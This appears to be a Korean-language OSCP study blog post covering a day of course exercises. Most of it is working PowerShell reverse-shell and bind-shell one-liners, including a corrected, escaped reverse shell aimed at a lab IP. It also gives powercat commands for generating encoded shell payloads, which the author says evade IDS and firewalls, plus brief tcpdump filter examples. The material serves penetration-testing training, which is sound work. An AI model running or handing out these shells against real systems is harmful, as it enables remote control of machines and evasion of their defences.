하루 종일 Exercises 풀고

보고서 만드느라

진도는 못 나감.

 

 

쉬운 문제도 있지만

구글링해서 공부해가며 풀어야 하는

문제들이 많아 시간이 오래 걸린다.

 

 

확실히 공부는 많이 된다.

물론 의도치 않은 영어 공부는

덤...

 

 

 


 

 

 

1. PowerShell Reverse / bind Shell code Error

 

 

 

아래 코드는

교재에서 복사해 쓰라고 공유하고 있는

one-liner 리버스 쉘 코드다.

powershell -c "$client = New-Object
System.Net.Sockets.TCPClient('192.168.119.160',7979);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng
th);$stream.Flush();}$client.Close()"

 

 

 

하지만 파워쉘에서는

특정 특수 문자들을

스페셜 캐릭터로 인식하기 때문에

그대로 가져다 쓰면 실행이 안 되고

에러가 난다.

 

 

 

해결하려면 더블 쿼트는 싱글로 바꾸고

싱글 쿼트는 더블로 바꿔야 하며

더블 쿼트 앞에는 escape 처리를 해줘야

인식이 된다.

 

 

 

아무튼 위 문제점을 보완한 코드는

powershell -c '$client = New-Object System.Net.Sockets.TcpClient(\"192.168.119.160\",7979);
$stream = $client.GetStream();
[byte[]]$bytes=0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();'



* iex : invok-expression command가 제일 중요한 부분

 

 

리스너 띄우고 연결해보면

 

성공!

 

 

 

bind shell 역시 마찬가지.

powershell -c '$listener = New-Object System.Net.Sockets.TcpListener(\"0.0.0.0\",7979); $listener.start();$client = $listener.AcceptTcpClient(); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($
bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \"; $sendbyte = ([text.encoding]::ASCII).GetBytes(
$sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()};$client.Close(); $listener.Stop()'

 

 

해보지 않았으면 몰랐을 텐데

exercises 해보길 정말 잘했다.

시험 도중에 일어날 수 있는 문제를

미연에 방지한 느낌이다.

 

 

 

IDS나 방화벽 등에 탐지되지 않는

reverse shell stand-alone encoded payload

작성 방법은

PS C:\Users > powercat -c 192.168.10.10 -p 7979 -e cmd.exe -ge > encode_reverse_shell.ps1
PS C:\Users > notepad .\encode_reverse_shell.ps1

메모장 내용 복사 후 붙여넣기

PS C:\Users > powershell.exe -E askldjfhkxcajvnpiuawkejakldjfhvlkchvliadufhgpiahsidfUIDFHSIOlkjalsk

 

 

 

Bind shell stand-alone encoded payload는

PS C:\Users > powercat -l -p 7979 -e cmd.exe -ge > encode_bind_shell.ps1
PS C:\User > notepad .\encode_bind_shell.ps1

메모장 내용 복사 후

PS C:\User > powershell.exe -E 붙여넣기

 

 

 


 

 

 

2. Powercat 실행 관련

 

 

피워쉘에서 파워켓을 실행하려면

Dot-sourcing이라는 방법을 통해

사용하려는 script를 호출해야 한다.

 

PS C:\tools\practical_tools> . .\powercat.ps1
PS C:\tools\practical_tools> powercat
You must select either client mode (-c) or listen mode (-l).

 

 


 

 

 

3. TCPdump

 

$ sudo tcpdump -A -n 'tcp[13] & 22 != 0' -r file.pcap
$ sudo tcpdump -n 'tcp[tcpflags] & (tcp-ack|tcp-push)!=0' -r file.pcap

 

 

728x90

'OSCP > OSCP 공부일지' 카테고리의 다른 글

OSCP Day 9~14 : 일주일 공부 결산  (0) 2021.05.10
OSCP Day 8 : 일주일 공부 결산  (2) 2021.05.03
OSCP Day 6  (0) 2021.05.01
OSCP Day 5 : BOF2 (Linux)  (0) 2021.04.30
OSCP Day 4 : BOF (WIN32)  (0) 2021.04.29

+ Recent posts